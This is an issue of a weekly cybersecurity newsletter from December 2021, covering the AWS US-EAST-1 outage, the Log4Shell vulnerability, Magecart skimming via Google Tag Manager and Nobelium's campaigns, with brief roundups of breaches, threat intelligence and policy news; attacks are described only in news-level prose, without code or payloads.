Robin’s Newsletter #182

12 December 2021. Volume 4, Issue 50
Huge AWS outage. Vulnerability in Log4j library affecting a lot of apps. Google Tag Manager being used in MageCart attacks.
Join hundreds of subscribers who get this first, every Sunday. Subscribe

This week

Massive AWS outage across US-EAST-1 region shows how much of the internet relies on Amazon

An outage of Amazon Web Services (AWS) US-EAST-1, North Carolina data centre caused disruption for a huge amount of companies, and their customers, that rely on Amazon’s cloud services: Amazon warehouse and delivery operations were affected, Netflix and Disney Plus were affected, Roomba vacuum cleaners stopped working, electric vehicles stopped charging, and many, many more sites and services.

In similarities to Facebook’s outage in October (vol. 4, iss. 41), the issue affected internal tools, slowing the ability for AWS to respond:

”This issue is also affecting some of our monitoring and incident response tooling, which is delaying our ability to provide updates.”

The similarities continue with the cause of the incident too, with automation designed to scale network connectivity being the source. In this case ‘unexpected behaviour’ while scaling the network caused a surge in connections that increased latency and errors, causing a further surge in connections that exacerbated the issue.

The outage of a whole region, rather than isolated service (such as S3 seen before) has reignited discussion about AWS as a single point of failure and the risk associated with a single organisation having such an outsize global impact.

However, the outage was resolved reasonably promptly (6-7 hours) and, as Nicholas Weaver from UC Berkeley told Vice Motherboard, “If anything AWS is too reliable, it’s reliable enough that people don’t bother doing the engineering for when it fails, so when it does fail it is a shock.”

As an aside, during the outage, some endpoint security tools ‘failed open’, meaning that malicious code was not being detected or blocked (@GossiTheDog tweets).,,, @GossiTheDog

Interesting stats

18,532 vulnerabilities have been reported so far in 2021 (exceeding 2020 and any previous year) according to NIST, though the proportion of ‘high’ severity issues decreased:

The NIST National Vulnerability Database graph, showing CVSS severity distribution over time, shows while more vulnerabilities were reported this year, the number of high severity issues fell as a proportion (source: NIST)

$148M lost by Americans to gift card scams in the first 9 months of 2021, according to the US Federal Trade Commission

Other newsy bits

‘Perfect 10’ Log4Shell vulnerability likely to wreak havoc in coming weeks

A ‘zero-day’ vulnerability in the extremely common Java library Log4j has been discovered, and proof-of-concept dropped on Twitter, which gives remote attacks the ability to execute commands on computers running the code.

Log4j provides developers with an easy way to generate and store log files for their applications and the flaw, dubbed Log4Shell, exploits functionality that allows for data to be enriched using custom code. For example, log files could be made to automatically look up a customer name and contact information from a customer number, and so on.

But the code that does the remote lookups does not properly escape what it is being passed, allowing for remotely hosted Java classes to be referenced, and then executed. Any field that is written to a vulnerable application’s logs can be used: so exploits have been seen using setting malicious user-agent for web browsers or sending carefully crafted in-game messages in Minecraft.

Log4Shell has been assigned reference CVE-2021-44228 and it can only be abused if the ‘log4j2.formatMsgNoLookups’ configuration option is set to false. The Apache Software Foundation, responsible for the Log4j library, has released version 2.15.0 as an emergency fix.

Logging itself is a pretty basic and mundane function of an application and it’s likely that many organisations, and indeed vendors, will not realise that their apps a using the library and know to update. As a result, this issue will likely persist, and be the cause, of many incidents in the weeks and months to come.,,,

Google Tag Manager used to implant card skimming javascript

File this one under ‘really clever’: Attackers have compromised over 300 sites with ‘Magecart’ style card skimming code by using legitimate functionality in a Google product called Tag Manager. Typically Google Tag Manager helps website owners dynamically control and update tracking and Google Analytics code on their websites. If you were auditing a website you’d see references to a Google domain and, with the ubiquity of Google Analytics, probably think nothing more of it.

However the product also has the functionality to include additional javascript, such as that used to steal payment card data, and cybercriminals have compromised the Google user credentials of victims to then stealthily add their malicious code, without needing access to the web server itself.

Attackers behind Solarwinds breach continue their campaigns

Nobelium (aka Cozy Bear; the group behind the Solarwinds attack) have been busy in the last year, according to Mandiant, saying the Russian-linked group have “top-notch operational security and advanced tradecraft,” and have successfully compromised multiple cloud and managed service providers in pursuit of their objectives.

The group make use of proxy services and bought access from residential IP ranges within their victim’s country to obfuscate their origin, while also targeting centralised enterprise controls - such as email spam filters - to gain wholesale access to mailboxes and improve their access.

Another tactic involved repeatedly triggering multi-factor authentication push notifications until a user authorised the logins. While more secure than SMS-based messages, the usability and functionality of such security services often only focus on ‘happy path’ operations, rather than giving the user the ability to decline (ignoring the individual attempt) rather than report suspicious activity.,,

Long reads

Crowd-forecasting cyber knowledge

A blog post from Lawfare Institute arguing for the ‘crowd-forecasting’ of answers to cyber security questions.

”possible to do something about this deficit. For example, some observers believe that better measurements and the consolidation of existing traditional metrics will help address the deficit and are advocating for the creation of a ‘Bureau of Cyber Statistics.’”

In brief

Attacks, incidents & breaches

  • 300 Spar supermarket stores have been forced to close or accept cash payments only following a ‘total IT system outage’
  • Cryptocurrency trading platform Bit Mart had two private keys for ‘hot wallets’ compromised leading to the theft of almost $200M of customer crypto-assets, though the company says it will cover the losses
  • Room key card systems affected by a Conti ransomware attack at Nordic Choice Hotels properties
  • Between 38,000 and 80,000 employees of the South Australian government have had their personal data compromised in a ransomware attack against payroll provider Frontier Software
  • Brazil’s Ministry of Health has suffered a ransomware attack that is claimed to have resulted in the deletion of 50TB of data, including vaccination data on millions of citizens
  • Doxy by name, doxy by nature: Telehealth app exposed patients’ data
  • ‘Material impact’ on German logistics company Hellmann Worldwide Logistics following an incident required data centre connections to be severed. The company operates in 173 countries and has revenues of approximately $3B
  • Volvo Cars breach has resulted in a “limited amount of… R&D property” being stolen.

Threat intel

  • Emotet malware seen to be directly installing Cobalt Strike beacons in a move that could result in less time between compromise and ransomware attacks
  • A recent vulnerability in Confluence and GitLab (vol. 4, iss. 45) servers is being used in attack organisations with ransomware
  • Details of a Vietnam-based cybercrime group, dubbed XE-Group, that targets restaurants and hospitality businesses to steal credit card data published


  • 27 vulnerabilities have been found in a USB-over-Ethernet SDK written by Eltima and used by cloud providers like Amazon to allow local devices to be mounted to cloud desktops
  • SonicWall is urging customers of their SMA series network security appliances to patch and address vulnerabilities including an unauthenticated remote code execution bug

Security engineering

  • NCSC has published guidance on selecting secure messaging and collaboration apps: establish the context; research the options; deploy a secure configuration; document your decision

Internet of Things

  • QNAP warns of crypto mining malware targeting their customer’s Network Attached Storage (NAS) devices
  • Hikvision IP CCTV cameras being compromised as part of Moobot, a Mirai-b based botnet
  • Unpatched TP-Link routers are being compromised and hijacked by the Dark.IoT botnet


  • Verizon has made changes to and renamed a programme tracking mobile customer browsing histories for advertising purposes and is automatically opting-in all customers, including those that opted-out of the scheme under its previous name

Public policy

  • New German coalition government signals that it will not buy zero-day vulnerabilities for espionage purposes and pro-encryption, anti-backdoor
  • The US has ‘released the hounds’ and ordered the military Cyber Command to gather intelligence and combat criminal groups targeting US infrastructure

Law enforcement

  • Microsoft has been handed control of domain names used by Chinese-linked group Nickel (aka APT15, Vixen Panda) to target organisations in the US, UK, South America, the Caribbean and Europe
  • Terrible opsec has led to the arrest of Canada’s “most prolific cybercriminal” who conducted ransomware attacks against Canadian and American organisations
  • After taking steps to disrupt the Glupteba botnet that comprised approximately one million devices Google is suing seventeen people believed to be its operators to prevent them from regaining control,

Mergers, acquisitions and investments

  • Torq, a ‘no-code’ automation platform for security technologies, has closed a $50M Series B funding round
  • Cloudflare, Mandiant, Secureworks and Crowdstrike partner with insurance brokers At-Bay, Coalition and Cowbell Cyber to offer “rapid referral” services

And finally

Pixel users: Dial 911 to freeze your phone

I’m not quite sure how you manage to pull this off, but hats off to Google and Microsoft: Pixel devices running Android 10 (or newer) and with the Microsoft Teams app installed, but no user logged in, results in the handset freezing if the user dials 911.

It’s not really something to make light of — as tends to the be and finally way — more astonished that the situation is possible.


  Robin's Newsletter - Volume 4

  Amazon Web Services (AWS) Amazon Outage Log4j Log4Shell Google Tag Manager Nobelium